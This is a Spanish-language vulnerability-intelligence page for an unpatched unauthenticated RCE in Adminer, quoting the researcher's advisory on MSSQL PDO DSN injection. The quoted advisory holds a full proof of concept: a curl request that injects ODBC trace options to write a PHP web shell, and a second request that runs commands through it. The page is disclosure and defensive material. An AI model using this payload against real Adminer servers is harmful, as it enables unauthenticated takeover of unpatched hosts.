llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · vrana/adminer

GHSA-R4X9-5M63-3VXW

Unauthenticated RCE via MSSQL PDO DSN Injection

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
9.8
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición134 dDesde la divulgación, 9 jul 2026, 6:16 a. m.
Detección134 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
9 jul 26
12 ago 26
21 nov 26
9 jul 26
12 ago 26
14 sept 26
18 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-R4X9-5M63-3VXW divulgada · CVSS 9.8 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

Adminer fails to sanitize the user-supplied `server` field before constructing a PDO DSN string. An attacker can inject semicolons to append arbitrary ODBC parameters, including `TraceFile`; causing the ODBC driver to write a file containing the attacker-controlled `username` value to a path of their choice. Since the username appears verbatim in the trace output, injecting PHP code there results in a web shell. No authentication is required.

Prerequisites

  • `pdo_sqlsrv` PHP extension installed
  • Microsoft ODBC Driver for SQL Server installed
  • Web root writable by the web server process

These conditions are common on servers connecting to Azure SQL Database or SQL Server.

Root Cause

`mssql.inc.php`, lines 185–188:

function attach(string $server, string $username, string $password): string {
    list($host, $port) = host_port($server);
    return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}

`$host` is interpolated directly into the DSN without escaping. Semicolons in the server value are treated as DSN parameter delimiters by the ODBC driver manager, allowing injection of arbitrary ODBC options.

The `TraceFile` and `TraceOn` parameters are processed before the connection attempt and the file is written even when authentication fails. The trace contains the full connection string including `UID={username}`.

Steps To Reproduce

1. Build the environment
FROM php:8.3-cli
RUN apt-get update && apt-get install -y curl gnupg2 unixodbc-dev \
    && curl -fsSL https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor -o /usr/share/keyrings/microsoft-prod.gpg \
    && echo 'deb [arch=amd64 signed-by=/usr/share/keyrings/microsoft-prod.gpg] https://packages.microsoft.com/debian/12/prod bookworm main' > /etc/apt/sources.list.d/mssql-release.list \
    && apt-get update && ACCEPT_EULA=Y apt-get install -y msodbcsql18 \
    && pecl install pdo_sqlsrv \
    && echo 'extension=pdo_sqlsrv.so' > /usr/local/etc/php/conf.d/sqlsrv.ini \
    && apt-get clean
COPY adminer.php /var/www/adminer.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]
docker build -t adminer-poc .
docker run -d -p 8081:8081 --name adminer-poc adminer-poc
2. Write the web shell
curl "http://localhost:8081/adminer.php" -L -c - \
  -d "auth[driver]=mssql" \
  -d "auth[server]=127.0.0.1;TraceFile=shell.php;TraceOn=1" \
  --data-urlencode "auth[username]=<?php system(\$_GET['c']); ?>" \
  -d "auth[password]=x"

The DSN becomes `sqlsrv:Server=127.0.0.1;TraceFile=shell.php;TraceOn=1`. The ODBC driver writes the trace file immediately and the connection fails; this is expected and inconsequential. The trace contains `UID={<?php system($_GET['c']); ?>}`, which PHP executes on the next request.

3. Execute commands
curl "http://localhost:8080/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)

## Collaborator Request
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex https://github.com/voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
vrana/adminer≤ 5.4.2
5.4.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistvrana/adminer
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/vrana/adminer/security/advisories/GHSA-r4x9-5m63-3vxw

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.